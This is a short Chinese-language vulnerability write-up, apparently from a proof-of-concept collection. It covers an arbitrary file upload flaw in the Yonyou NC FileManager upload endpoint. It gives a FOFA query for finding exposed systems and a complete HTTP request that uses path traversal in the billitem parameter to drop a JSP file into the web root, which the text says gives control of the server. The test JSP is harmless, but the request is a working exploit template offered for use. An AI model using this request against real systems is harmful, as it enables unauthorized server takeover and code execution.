# 用友NC系统FileManager接口存在任意文件上传漏洞 NC系统可利用/portal/pt/file/upload 接口中的 filename 参数及 billitem 参数实现任意文件上传,从而控制服务器 ## fofa ```yaml app="用友-UFIDA-NC" ``` ## poc ```java POST /portal/pt/file/upload?pageId=login&filemanager=nc.uap.lfw.file.FileManager&iscover=true&billitem=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwebapps%5Cnc_web%5C HTTP/1.1 Host: Content-Type: multipart/form-data;boundary=d0b7a0d40eed0e32904c8017b09eb305 --d0b7a0d40eed0e32904c8017b09eb305 Content-Disposition: form-data; name="file"; filename="we.jsp" Content-Type: text/plain <%out.print("hello world");%> --d0b7a0d40eed0e32904c8017b09eb305-- ```